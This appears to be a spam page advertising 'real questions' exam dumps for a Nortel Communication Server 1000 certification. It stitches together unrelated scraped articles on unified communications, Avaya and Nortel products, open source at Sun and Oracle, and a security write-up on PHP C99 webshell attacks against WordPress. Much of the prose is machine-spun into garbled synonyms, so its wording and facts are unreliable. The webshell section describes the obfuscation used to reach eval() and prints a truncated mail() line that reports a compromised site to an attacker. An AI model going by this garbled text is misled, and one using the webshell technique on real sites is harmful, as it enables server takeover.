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922-093 Communication Server 1000 Rls.5.0 System Admin and Management

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922-093 exam Dumps Source : Communication Server 1000 Rls.5.0 System Admin and Management

Test Code : 922-093
Test name : Communication Server 1000 Rls.5.0 System Admin and Management
Vendor name : Nortel
: 25 real Questions

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Nortel Communication Server 1000 Rls.5.0

Microsoft-Nortel discern Unified Communications features | killexams.com real Questions and Pass4sure dumps

news

Microsoft-Nortel discern Unified Communications gains
  • by Kurt Mackie
  • 07/18/2007
  • A one-yr-ancient partnership between Microsoft and Nortel on unified communications know-how, commonly used as the imaginitive Communications Alliance , is presence fruit. both organizations announced this week that they've bought greater than 430,000 joint-solutions licenses to this point.

    The Alliance lately gained three unique clients as smartly, including Indiana tuition, U.okay.-based mostly Worcestershire fitness guidance and Communications technology services, and an IT and telephony issuer called 4ward.

    Microsoft and Nortel fashioned the imaginative Communications Alliance in July of ultimate yr with the even of offering unified communications options to companies. under the Alliance, the agencies initiated joint research and building efforts. They furthermore created client demonstration centers and engaged in joint sales and advertising.

    within the Alliance's initial press release, Jeff Raikes, Microsoft's commerce Division president, brought up that the joint unified communications solution would permit a "single identification across e mail, voice mail, voice over web protocol (VoIP) name processing, speedy messaging and video."

    The Alliance's predominant product is called Nortel Converged workplace, a unified communications gadget that integrates Nortel's VoIP telephony gadget with Microsoft's server expertise.

    The main accessories of Converged workplace include:

  • Microsoft office Communicator 2005 tender customer
  • Microsoft workplace reside Communications Server 2005, and
  • Nortel communique Server a thousand release 4.5 or bigger IP PBX.
  • there is additionally a Nortel software middle component that helps non-compulsory capabilities, including internet integration, interactive voice response and call middle features.

    Unified communications gets described in a variety of techniques, however in line with the IEEE, it usually encompasses "unified messaging, collaboration and interaction techniques." These techniques additionally typically permit precise-time and near actual-time communications. furthermore, combined media (voice, e mail, fax, and so forth.) will furthermore be accessed from a sole application, impartial of the entry machine.

    competitors within the unified communications space is thick with huge names. In March of this 12 months, IBM and Cisco, announced a collaborative trouble on unified messaging client expertise called Unified Communications and Collaboration (UC2). UC2 is in line with open technologies, corresponding to Eclipse construction environment and the Open capabilities Gateway Initiative framework. Citrix systems and Nokia, among others, beget expressed aid for the UC2 platform.

    below the IBM-Cisco unified communications partnership, Cisco plans to sell IBM's Lotus Sametime collaboration admit and IBM plans to promote Cisco's Unified Communications manager, Cisco team spirit and Cisco Unified MeetingPlace items. The entire unified communications solution is designed and delivered by using IBM world technology functions.

    about the writer

    Kurt Mackie is senior news producer for the 1105 enterprise Computing neighborhood.


    Microsoft and Nortel current Alliance Roadmap | killexams.com real Questions and Pass4sure dumps

    news

    Microsoft and Nortel current Alliance Roadmap
  • by artery of Stuart J. Johnston
  • January 18, 2007
  • Six months after adage a telecommunications alliance, Microsoft and Nortel this week introduced some early consequences of their efforts and outlined a roadmap for future tasks.

    the two organizations first introduced their collaboration closing summer.

    The street map comprises three unique joint options “to dramatically enhance company communications with the aid of breaking down the barriers between voice, e mail, immediate messaging, multimedia conferencing and different forms of verbal exchange,” in response to an announcement by the two establishments.

    also included within the announcement are 11 unique implementation features from Nortel and the outlet of greater than 20 joint demonstration centers where clients can suffer the expertise, the remark endured.

    moreover, the two companies talked about they beget signed agreements with dozens of valued clientele, and beget developed a “pipeline of a all lot of prospects who want to recognise the benefits of unified communications.”

    From Microsoft's perspective, it's utter fragment of the company's lengthy-term play to merge utter kinds of communications and messaging right into a sole framework. A 12 months in the past, the company announced that it become merging its trade Server neighborhood with its precise-Time Collaboration (RTC) community, and that it had begun to consider of both applied sciences comprising a "platform."

    the unique group was named the Unified Communications neighborhood (UCG) and resides in Microsoft's company Division. The credence for the unique community emanated from a vision of including continuity to a myriad of communications instruments, technologies and modes -- from electronic mail and speedy messaging to Voice over web Protocol (VoIP), audio/video and net conferencing -- in a unified method.

    The three unique joint solutions introduced via the alliance this week are named Unified Communications integrated department, Unified Messaging, and Conferencing.

    When it's accessible within the fourth quarter, UC built-in department will involve Nortel and Microsoft know-how on a sole piece of hardware that offers VoIP and unified communications in remote places of work.

    Coming a dinky prior within the second quarter, Unified Messaging will purpose to simplify client deployments, autochthonous session initiation protocol (SIP) interoperability between the Nortel verbal exchange Server 1000 and Microsoft change Server 2007. The solution contains Nortel knowledgeable services for design, deployment and guide.

    additionally coming in the fourth quarter, Conferencing will extend Nortel Multimedia Conferencing to Microsoft office Communicator 2007. It aims to provide a sole client journey constant throughout functions such as voice, immediate messaging, presence, and audio- and videoconferencing.

    This 12 months, the businesses additionally procedure to prolong their present unified communications admit — a unified laptop and tender cell for VoIP, e-mail, instant messaging and presence — to the Nortel communique Server 2100, a carrier-grade enterprise telephony product aiding as much as 200,000 users on a sole system, in accordance with company statements.

    As for the highway map, the two organizations beget geared up more than 20 joint demonstration centers in North the united states, Europe and Asia, with greater than a hundred further centers scheduled to open via midyear.

    Nortel has furthermore added 11 core integration services to support purchasers construct, set up and aid joint unified communications options, including conclusion-to-conclusion assignment administration. Nortel claims it has already knowledgeable greater than 2,200 VoIP specialists to carry these services and should add greater as deployment ramps up.

    concerning the creator

    Stuart J. Johnston has coated expertise, especially Microsoft, considering the fact that February 1988 for InfoWorld, Computerworld, suggestions Week, and computing device World, in addition to for commerce Developer, XML & web capabilities, and .net magazines.


    latest Nortel software liberate offers SMBs unique ranges of Simplicity and Unified Communications | killexams.com real Questions and Pass4sure dumps

    common software circulation gives finished, budget friendly, and Scalable solution across systems and into fork offices

    TORONTO, ONTARIO--(Marketwire - Nov. 3, 2009) - diminutive and medium-sized corporations (SMBs) can gain productivity, cost-savings and the investment insurance policy censorious to success in state-of-the-art enterprise atmosphere with unique unified communications-primarily based (UC) utility from Nortel* (OTCBB:NRTLQ). The latest application release 5.0 for Nortel's award-profitable commerce Communications supervisor (BCM) provides unique UC capabilities, together with unified presence, and greater simplicity with the introduction of a standard software movement for BCM50 and BCM450.

    The Nortel BCM450 and BCM50 are Linux-primarily based IP/TDM PBXs providing application-prosperous, all-in-one options for converged voice and information communications. The BCM50 serves businesses with as much as 50 clients while the better talent BCM450 is apposite for transforming into medium to tremendous organizations and fork places of labor with up to 300 clients. every supports a fuse of IP and digital customers and can permit firms to shop as much as 70 % of their usual funding by means of reusing latest gadget.

    As fragment of the brand unique BCM Rls 5.0 software, BCM450 and BCM50 give SMBs with dynamic UC elements love InTouch, which gives you actual federated presence, and usual integrated communications applications and capabilities. InTouch lets users converse conveniently with any one in their own directory – throughout Microsoft Outlook, Nortel BCM, MSN, and Skype for click on-to-call, click on-to-IM, and click-to-electronic mail. by connecting people quicker, enhancing collaboration and rushing up the time to decision, Nortel estimates that unified communications can aid companies recognize cost-rate reductions and a ascend in productivity of up to 18 percent.

    remaining 12 months, the Nashville conference and guests Bureau** (NCVB) leveraged its BCM450 solution to publication greater than 650,000 lodge rooms while advertising tourism on behalf of quite a few partners. NCVB is now trialing BCM Rls 5.0 and plans to roll out the InTouch software in the coming weeks. Kay Hopwood, NCVB's director of tips technology, is longing for seeing real-time presence for each person on the community and having a view into overlooked calls even when a caller doesn't depart a voicemail. For now, NCVB is enjoying the primary BCM Rls 5.0 feature it deployed, FindMe/FollowMe (FMFM), which allows for simultaneous ringing of as much as 5 extra external devices. "each call is capabilities company," talked about Hopwood. "With BCM's FindMe/FollowMe potential, their earnings team in no artery has to omit a further salary-generating name again."

    Minitel**, a premier Nortel companion proposing service throughout Canada, additionally chose to visitation BCM Rls 5.0 in its personal office production equipment. Its Toronto vp of Operations, Dan Silverman, become so joyful with the progress of the in-condominium visitation he satisfied a broad accounting firm customer to install it as well. "The installation turned into as immaculate as could be and the customer is now rolling out each InTouch and FindMe/FollowMe to diverse clients in their corporation easily. They beget been in a position to accumulate their client up to precipitate on the interface and rolling the application out via themselves in under an hour," pointed out Silverman.

    Mexico's Universidad Latinoamericana** (ULA) similarly confirmed the newest BCM utility with advantageous effects. "we're within the enterprise of educating present day youth and getting ready them for the long precipitate and the challenges ahead," pointed out Mario Ahumada Sandoval, subdirector of systems, ULA. "To accomplish that, they matter number on having the latest in communications know-how that helps us offer a wealthy UC suffer for cadaver of workers and college students. Trialling BCM Rls 5.0, they institute that the product's unique role set enhances their UC journey, while maximizing rig already in vicinity."

    BCM50 customer, Philkeram-Johnson**, the oldest ceramic tile producer in Greece, furthermore welcomed the unique software unencumber. "Our Nortel BCM50 gives us elbowroom to develop, in terms of capability and functionality, and it supplies the points they should evolve to a unified communications environment," spoke of Christos Syropoulos, commercial manager, Philkeram-Johnson. "we're continually looking for tips on how to expand their products and their productiveness with a purpose to respond greater at once to purchasers. i'm desirous to determine extra concerning the unique elements accessible in BCM Rls 5.0 and the artery they are able to employ them to boost their communications."

    apart from the InTouch and FMFM capabilities, BCM Rls 5.0 lets a consumer ahead a voice message using a file so that it may furthermore be performed or read by any mobile rig on the earth. Meet-Me Conferencing for BCM now gives up to one hundred twenty five ports with aid for as many as 300 clients. skilled name Recording, a means typically offered through a third party is additionally available as a fragment of the latest BCM liberate.

    As an additional means of streamlining charges and operations making it even more basic for SMBs and Nortel channel partners to install, provision, and migrate pre-present information, the brand unique BCM50 and BCM450 portfolio contains general application and applications, O/S, practicing, accreditation, user interfaces, and documentation.

    Dell'Oro ranks Nortel's SMB portfolio #1 on the earth in variety of hybrid-IP traces shipped and #2 in SMB market earnings for the 2d quarter 2009. Nortel's BCM solutions are localized and bought in over 120 international locations through more than a thousand channels.

    Hear from extra BCM users and companions:

  • "FindMe/FollowMe and Message Forwarding enable constitution Telecom's** sales and technical workforce to be greater obtainable to their valued clientele, no matter if in the office or on the street. With the potential for particular person clients to customise these facets to their liking via an internet-based GUI instrument Mailbox manager. Their device administrator now not has to originate day by day changes. FMFM and the skill to seamlessly transfer calls between their desk telephones and cellular telephones has additionally allowed us to reduce their charges, supply their team of workers with extra flexibility, and expand their availability to shoppers." – David Harper, voice methods engineer, charter Telecom - Canada
  • "Our office communications were based mostly solely on Nortel's BCM systems for years. They these days upgraded to the newest BCM expertise, keeping most of their preliminary investment in hardware and utter the investment in software licenses. the brand unique UC performance raises their productivity and saves time. It furthermore permits us to connect to other methods love Communications Server a thousand and Microsoft OCS. With InTouch they are in a position to manage their on-line contacts at MSN and Skype from a sole utility interface in MS Outlook, along with their workplace colleagues, valued clientele, and partners." – Nikos Koulioumbis, SMB solutions director, UniNortel SA** - Greece
  • "innovative unique features akin to InTouch with federated presence, FindMe/FollowMe, knowledgeable name Recording and better CTI purposes are utter notable productiveness enhancers if you want to retailer organizations time and cash and this truly resonated with the customers they talked to at a fresh seminar held in Nortel's Maidenhead office. They had enthusiastic feedback from attendees together with a London-based voice and information options issuer who talked about he most loved the portion of the seminar that focused on BCM Rls 5.0." – Thomas Jacques, managing director, 1st Communications** - UK
  • "The BCM product has always been one which they beget been disdainful to present to their clients because of its converged voice and facts admit for diminutive and medium corporations. As a longtime channel associate of Nortel's in Mexico, they issue ahead to being capable of offer those identical elements, moreover newly better ones with the brand unique utility release of BCM Rls 5.0 with unique features such as FindMeFollowMe, expert name Recording, and more desirable CTI applications with a purpose to expand their consumer's productivity." – Jorge Alberto Jimenez Hernandez, director of engineering, Innovaciones Telemáticas, S.A. de C.V.** (INTELEMATICA) - Mexico
  • About Nortel

    Nortel can provide communications capabilities that originate the engage of commerce Made standard a truth for their purchasers. Their next-era applied sciences, for each carrier company and commercial enterprise networks, guide multimedia and company-crucial functions. Nortel's technologies are designed to assist eliminate modern-day barriers to efficiency, precipitate and efficiency by artery of simplifying networks and connecting individuals to the advice they need, when they want it. For greater information, consult with Nortel on the internet at www.nortel.com. For the latest Nortel news, search advice from www.nortel.com/information.

    definite statements in this press free up may furthermore contain words equivalent to "could", "expects", "may", "anticipates", "believes", "intends", "estimates", "objectives", "envisions", "seeks" and different an identical language and are regarded ahead-searching statements or assistance under apposite securities legislations. These statements are according to Nortel's current expectations, estimates, forecasts and projections concerning the working environment, economies and markets in which Nortel operates. These statements are district to crucial assumptions, dangers and uncertainties, which can be difficult to foretell and the precise sequel may be materially distinctive from these meditated in forward-looking statements. For more information with recognize to sure of those and other factors, discern Nortel's Annual document on Form10-ok, Quarterly studies on kindly 10-Q and different securities filings with the SEC. except otherwise required by applicable securities legal guidelines, Nortel disclaims any objective or duty to update or revise any forward-searching statements, even if because of unique counsel, future pursuits or otherwise.

    *Nortel, the Nortel emblem and the Globemark are trademarks of Nortel Networks.

    **this is a third celebration link as described in their internet linking practices.

    Use of the terms "associate" and "partnership" doesn't indicate a prison partnership between Nortel and any other birthday celebration.


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    Communication Server 1000 Rls.5.0 System Admin and Management

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    Avaya UC product overview: Aura Communication Manager | killexams.com real questions and Pass4sure dumps

    Editor's note: This article is fragment of a buying guide on unified communications. The features in this string recount the evolution of UC, its employ cases and the censorious criteria to consider when buying a UC product. The string furthermore compares the top UC products in the market. This article gives an overview of Avaya UC products.

    Along with Cisco, Microsoft and Mitel, Avaya is positioned in the leaders' quadrant in Gartner's Magic Quadrant for Unified Communications. Avaya's UC product is the Avaya Aura Platform, which includes several UC components designed to add specific functionality to the enterprise communication and collaboration infrastructure, enhancing the UC suffer for users of any company size.

    The Avaya UC platform is a springy and modular solution, integrating voice, data, video, Web communication applications, mobility and many more services.

    Communication Manager provides UC foundation

    The Avaya Aura Communication Manager is a core component of the Avaya UC platform and the foundation for delivering real-time voice, video, messaging, mobility and other UC services.

    The Communication Manager registers and maintains utter Session Initiation Protocol (SIP) endpoints, call routing, call queuing, prioritization of voice and video calls and much more. The product furthermore has built-in conferencing and contact hub applications -- suitable for companies with call centers and demanding conferencing needs. 

    The Communication Manager offers more than 700 features that are available to utter users, no matter where they are working from, including office users and remote users working from home or on the road.

    With this product, SIP and H.323 are fully supported, along with other industry-standard protocols. Connection with PSTN and ISDN services is workable using Avaya's media gateways, such as the Avaya G250. These media gateways labor pretty much the same artery as most vendors', connecting to the Aura Communication Manager and providing inbound and outbound call routing to PSTN and ISDN services.

    Critical environments can furthermore beget a second Communication Manager installed, providing high-availability and uninterruptible service in case the primary server is down. Extending this redundancy model further, in the unlucky event that both servers are down, users will automatically register to the media gateway -- if available -- and beget access to basic telephony services until the servers are restored. 

    The Communication Manager is offered as a standalone hardware application server or a virtualized application. It runs on a Red Hat Enterprise Linux operating system, offering increased reliability, precipitate and smaller hardware requirements, as opposed to other non-Linux-based systems.

    The Communication Manager can support up to 36,000 endpoints and 24,000 SIP trunks, making it a scalable solution for diminutive to larger enterprises.

    Session Manager controls calls and costs

    The Avaya Aura Session Manager is the core of Avaya's SIP-based architecture, unifying utter Avaya UC services. Aura Session Manager integrates with Avaya's Aura Communication Manager, media gateways, messaging services, session rim controller, conferencing, contact hub and more, creating a centralized infrastructure that helps lower the total cost of ownership and administration costs.

    The Aura platform can fortunate companies of any size, but seems well-suited for big enterprises with multiple sites and a variety of VoIP equipment.

    Avaya's Aura Session Manager has the unique talent to allow enterprise-wide dial plans across multiple vendor PBX environments. It can create systemwide network routing rules to route calls in a cost-efficient manner using least-cost routing methods, alternative routing, time-of-day routing, toll avoidance and more.

    Session Manager is truly an enterprise product, as it can support up to 250,000 SIP users, 350,000 SIP devices, 300,000 dial patterns, 1,000 SIP domains and many more. It supports connectivity to Cisco, Siemens, Alcatel-Lucent and other third-party PBXs, making it springy and light to integrate with existing infrastructure.

    With a tolerance of up to 1,000-millisecond (ms) round-trip detain -- from the source to the destination and back -- it is suitable for almost any network environment, even satellite connections, which typically fluctuate between 600 to 900 ms round-trip delay.

    Presence Services looks to enhance collaboration

    Avaya's Aura Presence Services is an Avaya UC server designed to aid users collaborate more effectively by collecting and broadcasting presence information across utter users connected to the Aura Platform. Using the presence information, users can discern who is busy, away from their desk, on the phone, doesn't want to be disturbed, or simply not available, therefore saving time.

    Aura Presence Services are primarily used to power other Avaya presence and instant messaging clients, adding more value and functionality to them and delivering full UC services. Some application examples involve Avaya Communicator (softphone); Avaya Aura Agent Desktop; Avaya one-X Communicator; Avaya one-X Attendant; and Avaya IP phones, such as the 96X0 string and 96X1 Series.

    One censorious feature is that Avaya's Aura Presence Services provides full support of both the SIMPLE and XMPP protocols, which means companies can employ the presence software of their choice.

    Like most of Avaya's servers, Aura Presence Services runs under the Red Hat Enterprise Linux operating system, though the system requirements are slightly higher. Avaya recommends a 3 GHz Intel Xeon X5670 6-core CPU or better, 32 GB of memory, and around 1 TB difficult drive space. The system supports virtualization via the VMware platform and allows up to eight Presence Service nodes to be present at once.

    Each Presence Service node can support up to 16,000 SIP users and H.323 users, while this number can expand to 250,000 SIP and H.323 users with a dual cluster of eight nodes.

    Messaging server converts voicemail to text

    Avaya's Aura Messaging server is another component of the Avaya UC platform. With Aura Messaging, companies can beget expeditiously and light access to messages. censorious unique messages can alert employees and aid maintain towering customer service standards in any ilk of business.

    Aura Messaging is more than a simple messaging and voicemail server. It carries advanced functions, such as Speech Auto Attendant, which allows callers to deliver a name instead of entering an extension; Notify Me, which sends text messages and email notification while calling the user; Voice Recognition, which allows users to deliver names to address voicemail messages; and many more functions.

    Some other spruce features involve Speech-to-Text, which converts voicemail to text and delivers it to a user's email; Self-Administration so users can manage their options via a provided Web portal; Internet Message Access Protocol support, which allows companies to employ their preferred email client; and Avaya one-X Speech, which gives users the power to manage their voice messages, email and calendar via verbal commands.

    Aura Messaging can precipitate on a standalone server or a supported virtualized environment such as VMware. Redundancy is furthermore available using the N+1 redundancy configuration.

    Deployment of Aura Messaging provides two paths: standard Messaging server where a sole server combines the role of an application and storage server, or towering storage capacity Messaging server where it serves as a big storage server that can support a larger number of mailboxes.

    Aura Messaging can support up to 20,000 users and 300 ports, depending on the deployment configuration.

    Virtual Application Manager available at no cost

    As with most UC solutions, Avaya's Aura platform and components fully support virtualization to ensure hardware consolidation and minimize hardware investment. However, Avaya furthermore offers its Virtual Application Manager -- a management interface that allows the installation and maintenance of Avaya VMware-powered virtualized applications.

    With the Virtual Application Manager, administrators are now able to install and maintain Avaya virtualized applications (OVA files) without the requisite for vCenter. The Virtual Application Manager is offered at no additional cost. It's installed with the vSphere client and provides an interface to manage and support the Avaya virtualized applications.

    Avaya's products are available through its website or channel partners. With its orbit of core add-ons and extensions, the Aura platform can fortunate companies of any size, but seems well-suited for big enterprises with multiple sites and a variety of VoIP equipment.


    The Modern situation of Software Innovation: How Sun and Oracle Are Changing Their Open Source Diet | killexams.com real questions and Pass4sure dumps

    Sun Microsystems and Oracle offer insight into the motives behind accelerating their involvement in open source projects. Matthew Sacks describes how these major players are pioneering their own software products by more actively using open source and virtualization technologies.

    Matthew Sacks is a System Administrator and Technical writer for TheBitsource.com.

    Many big software companies are genesis to embrace open source technologies for software infrastructures and products that previously beget been based largely on proprietary software and technologies. The recent scandalous economic weather in the U.S. is further persuading big enterprises to consider integrating open source technologies (and consolidation technologies such as virtualization) into the solutions supporting their commerce systems and processes.

    This article is based on interviews with major players in the technology industry such as Sun Microsystems, Oracle, and SourceForge.net. The information gathered during these interviews provides a glimpse into what some big enterprises are doing with open source technology, why they're doing it, and their results.

    Enterprises can gain valuable progress efforts by open sourcing a product and making it available to the community. The open source community benefits because developers accumulate access to software and code with which they can better their own software designs. In exchange for corporate contribution to an open source project, a company benefits by getting bug fixes and software engineering hours that trickle back in as a result of the open source community's efforts. As a value-add and source of income, a company can sell support and professional services contracts on community-supported open source products and services, and most companies add features that interlard additional value to a standard open-source software solution.

    The Classic Argument: Open or Closed Source?

    There are a few schools of thought when it comes to how to develop software and power innovation:

  • Purchase a proprietary solution and pay another company for support costs
  • Manufacture the solution in house, based on existing open source community-driven software
  • Use a hybrid of these progress methodologies
  • Both software engineering methodologies beget their advantages. One ilk of software cannot be deemed to be better than the other, because there are too many different kinds of businesses with different needs for one methodology to serve for all.

    Open source can sometimes beget a "fanatical" connotation to it, but that is due more to stereotype than fact. Open source software has been around since computers were created. A more modern instance is the open sourcing of UNIX with the Berkeley Software Distribution (BSD) project.

    Open source is increasingly censorious in the artery that companies enact commerce today, because more big corporations that defer software are genesis to welcome open source into their product lines. Many companies offer both an open source version of their product and an "enterprise" version, which comes with special features and enhanced customer support. The benefit of this approach is that the open source community is constantly working on the open source version of the product, while the in-house progress team is integrating whatever the company determines to be beneficial to the character of the product—reducing the number of redundant labor hours of a potentially overburdened software engineering team. It's the divergence between having 1,000 developers versus 1,000 backed by a worldwide team of potentially tens of thousands of developers—all integrating and contributing to the software.

    Many big software companies furthermore employ a methodology of getting involved with a specific open source software product and reselling a commercial version of that product under their own brand, with additional support contracts and features that may be specific to the independent software company. For example, Sun Microsystems and Oracle are members of the Xen.org advisory board. Xen is an open source software solution that allows for the virtualization of hardware; that is, taking a sole physical server and partitioning it into several "virtual machines," effectively extracting better performance utilization with less power consumption and easier management of independent servers.

    Virtualization for Cost Savings and Flexibility

    Virtualization holds a key fragment in the current situation of technology. Many software companies (and other technology-based companies with software engineering teams) leverage virtualization technologies to originate efficient employ of hardware for their software engineering practices.

    Virtualization offers the benefit of rapidly producing computing platforms for software progress projects, which in turns allows for rapidly producing, testing, and releasing unique technological products and services.

    Until recently, commercial virtualization had typically been a proprietary market with Microsoft and VMware. The widespread adoption of the Xen hypervisor, which is an open source virtualization platform, has changed that dynamic.

    The situation of Innovation at Sun Microsystems

    Dr. Tim Marsland is a Sun Fellow, Vice President, and Systems Software CTO at Sun Microsystems. Marsland believes that the process of widespread adoption of open source technologies is accelerating, and many big companies are reevaluating proprietary software solutions. Companies will not simply drop their software licenses and the big investment in them and transmogrify to open source right away, however, according to Marsland.

    Sun built its commerce on the basis of being an open systems company, developing high-quality implementations of open software specifications. In the late 1990s, Sun began opening up those implementations and their progress activities to open source communities, as well as participating in many other open source communities—a strategy that is the analytic conclusion of "open systems" at the core of the company, and continues to be the commerce practice of Sun Microsystems. Sun has even open sourced the silicon designs for one of its processors, the Niagara chip.

    When asked why virtualization is censorious to Sun, as a producer of a widely used operating system, Marsland responded with the following comments:

    Hypervisor technology is a key component of hardware virtualization, but operating systems are key components too—in fact, there are two roles for the operating system in virtualization software stacks. One key role is as an infrastructure component that provides and coordinates services and data movement by the hypervisor—usually managing storage and network services to guests. They reflect OpenSolaris is really safe at those things, and we're working on making it better—the Crossbow project is the latest instance of that. The other role is as a guest, which is initially a "passive" thing, though obviously we've been working on optimization and tuning. They reflect Solaris, with its huge set of applications and solutions, fits really well there, too.

    Sun has been a pioneer in virtualization with Solaris Containers (a.k.a. Zones) and analytic Domains (LDoms), yet still looks to the open source community with the Xen project in order to expand opportunities for creating better software products. In house, Sun uses the VirtualBox product, an open source desktop-based virtualization solution, which allows Sun developers to build and test software on a variety of operating systems without having a dedicated physical machine for each operating system type.

    I asked Marsland how contributing to projects such as Xen benefits Sun as a company and improves the character of Sun products. He responded that being fragment of a community allows Sun to deliver value to its customers at a lower cost, as well as giving customers and partners a more direct influence on product features and capabilities. In return, Sun commits changes and contributions into the Xen community's software projects. Sun's product offerings are able to combine the strengths of the Xen project and the OpenSolaris project to provide better character and features in both parties' software.

    Sun Microsystems has been a member of the Xen advisory board since its founding. (Other members involve Citrix, IBM, Novell, Intel, AMD, Red Hat, and Oracle.) According to Marsland, Sun's virtualization technology is being used in Sun's network-facing infrastructure, and will be fragment of its recently announced cloud computing offering, which includes the acquisition of Q-layer.

    In addition to creating better-quality software, which results in better profitability as a company, Sun furthermore offers technical support and training on open source technologies that provide additional value to Sun customers. Marsland admits that making open source software profitable is tricky, though MySQL offers a useful insight into how this benefit can be achieved—MySQL is a core open source platform that is widely distributed, with for-profit services and product enhancements to the core open source platform. The substantial core platform is selling enhancements to open source products.

    The situation of Innovation at Oracle Corporation

    Oracle's Wim Coekaerts (Vice President of Linux Engineering) and Monica Kumar (Senior Director of Linux and Open Source Product Marketing) account for that Linux, server virtualization, and open source technologies play a key fragment in Oracle's commerce and product offerings. For example, Oracle's server virtualization product, Oracle VM, is based on Xen and Oracle Enterprise Linux, which in turn are derived from open source technologies; Oracle Enterprise Linux is source- and binary-compatible with Red Hat Enterprise Linux.

    Linux is strategically censorious due to Oracle's competition with Microsoft. Competitive edge is based on providing enterprise-class support and offering additional features. Linux furthermore allows Oracle to offer the best product to its customers by taking an existing technology and contributing back to it, rather than creating it from scratch. Oracle brings in additional features and customer support, which gives customers an edge over a simple open-source solution while providing the flexibility of being based on an open source distribution.

    While Oracle is notorious for dealing in proprietary software, it has furthermore become one of the largest contributors to and consumers of open source technology, due to the character of and claim for open source technologies such as Xen and Linux. Oracle contributes to open source software as well as consumes it, and has made many contributions to the Linux kernel and Xen hypervisor, among other open source middleware products, according to Kumar and Coekaerts. Kumar believes that Oracle contributes just as much as Red Hat to the Linux kernel. Oracle's Unbreakable Linux support program came out of customer claim for support from a sole company; because it prevents the customer from having to ping-pong between operating system vendor and database vendor, this approach minimizes support costs.

    Oracle's own internal IT department uses Oracle Enterprise Linux and Oracle VM for consolidation of resources as well as rapidly deploying applications. The benefit to Oracle of using open source technologies (and the technologies desired by Oracle customers) is that these systems offer better integration with other database and application software products, which Oracle can support and back with its own service guarantees because these products beget gone through Oracle progress and character processes. The common thread seems to be that if an open source product meets Oracle's needs, there's every judgement to employ that open source technology and consider integrating it into Oracle products.

    According to Kumar, commerce sees open source as a cost-saving decision, but without proper support this may not always be the result. The amount of time spent troubleshooting an unsupported product may impose a greater cost than not paying for support on an open source technology.

    Coekaerts states that open source software is not one homogeneous entity, and in general open source technologies should be treated love any other software product. If it's a safe technology that's safe for the customer, adoption should be considered, regardless of whether the product is open source or proprietary.

    The situation of Innovation at OpenGear

    Opengear specializes in communications (telecom), power and cooling, and console server management. Because Opengear's products are based on hardware appliances that employ open source, it represents the profile of a smaller company that leverages open source technologies to drive product solutions and offer better-quality products to its customers.

    Bob Waldie, Chairman and CEO of Opengear, offers some insights into its usage of open source software for powering innovation and developing products. Waldie states that most CIOs don't consider the cost of power and cooling in their budgets; Opengear helps managers of IT infrastructure to manage and monitor these perspectives, using open source technology.

    Opengear is joining together different proprietary markets for better standardization of data hub management appliances and software, by integrating open source technologies into their products. Opengear's data hub management appliances now interface with 78 proprietary vendors.

    As far back as 2006, Gartner Research predicted that the cost of power would eventually outweigh the cost of actual computing hardware, and Waldie states that today most systems burn 50% of their energy sitting idle. Open source software helps Opengear to create solutions that will allow for better power savings and data hub management.

    Opengear uses virtualization technologies for its software engineering processes and is developing the talent to precipitate console server clients on virtual machines. Waldie warns of the dangers of virtualization, however, in the increased complexity and management overhead of maintaining a virtualized computing platform. In a midsize company, he notes, there's a big cost in managing the complexity of computing infrastructure for virtualization, and that solution therefore tends to originate more sense for larger businesses.


    Got WordPress? PHP C99 Webshell Attacks Increasing | killexams.com real questions and Pass4sure dumps

    Got WordPress? PHP C99 Webshell Attacks Increasing April 14, 2016  |  By Dave McMillen Cybercriminals are increasingly leveraging webshell attacks to  engage over vulnerable servers and grab control of WordPress websites. Administrators must  tarry on top of potential vulnerabilities and  engage the proper remediation steps when necessary.

    Bigstock

    Share Got WordPress? PHP C99 Webshell Attacks Increasing on Twitter participate Got WordPress? PHP C99 Webshell Attacks Increasing on Facebook participate Got WordPress? PHP C99 Webshell Attacks Increasing on LinkedIn

    IBM Security is always looking for high-volume anomalies that might signify a unique attack trend. One instance is webshells, which are scripts (such as PHP, ASPX, etc.) that fulfill as a control panel graphical user interface (GUI). An attacker could utilize a webshell to gain system-level access to a vulnerable server.

    Over the past two months, IBM Managed Security Services (MSS) has noticed a steep expand in attackers’ attempts to push a variant of the accepted C99 webshell.

    Although they discern many attempts to push malicious PHP code on a daily basis, the increased volume of this particular webshell is startling compared to other types of webshell activity IBM MSS tracks: a 45 percent expand from February through March.

    According to VirusTotal, relatively few antivirus vendors are catching this variant. What’s more, it’s targeting vulnerable WordPress systems, becoming yet another threat to content management systems (CMS).

    Webshells in a Nutshell

    Webshells can be used legitimately by a system administrator to fulfill actions on the server, such as creating a user, reading system logs and restarting a service. Unlike a reverse shell, which requires a secondary program such as Netcat to be precipitate on a victim’s machine, webshells require no communications socket and are simply precipitate over HTTP. They are basically backdoors that precipitate from the browser.

    Webshells are considered post-exploitation tools. Before the webshell can be used in an attack, a vulnerability must be institute on a target Web application. One artery to accomplish this is by first uploading the webshell through a file upload page (e.g., a submission configuration on a company website) and then using a Local File involve (LFI) weakness in the application to involve the webshell in one of the pages.

    The Request

    Let’s open with what they are seeing: There is one common URL and file name, pagat.txt, that contains an obfuscated PHP script. Attackers will purposely shroud their malicious code in an trouble to evade detection and assist in bypassing a Web application firewall (WAF) that may be protecting the website.

    The following accumulate request is issued for this particular variant: hxxp://www.victim.com/wp-content/themes/twentythirteen/pagat.txt. The abbreviation “wp” in the request stands for WordPress.

    The text file pagat.txt contains the obfuscated code below, which has been purposely truncated in this instance for security reasons.

    Pagat Shell code.

    Pagat Shell code.

    This obfuscated PHP code would be passed to the eval() role only after it is deobfuscated using one of these three methods:

  • Gzinflate inflates a deflated string. This role takes data compressed by gzdeflate() and returns the original uncompressed data.
  • Rot13 is a simple letter-substitution cipher that replaces a character with whatever comes 13 letters after it in the alphabet.
  • Base64 features binary-to-text encoding schemes that picture binary data in an ASCII string format by translating it into radix-64.
  • Any of these three obfuscation methods can be used to decipher obfuscated code by simply using an online PHP decoding tool.

    The Mechanism

    The PHP module on the victim server will decode the obfuscated strings and execute the script. Once decoded, the script shows its intent. The examples below are purposely truncated for security reasons.

    First, an email is sent to XXXXX@gmail.com (actual email obfuscated) confirming the target has been compromised:

    mail(“XXXXX@gmail.com“, “$body”, “Hasil Bajakan hxxp://$web$inj

    Next, the script creates a configuration page on the victim’s website:

    Form code for webshells.

    Form code for webshells.

    Next, the attacker will call the unique configuration from the browser. This will enable the attacker to execute shell commands on the server as well as push additional files that can be used for other nefarious actions.

    List of Shell Commands.

    List of Shell Commands.

    WordPress Content Management Systems at Risk

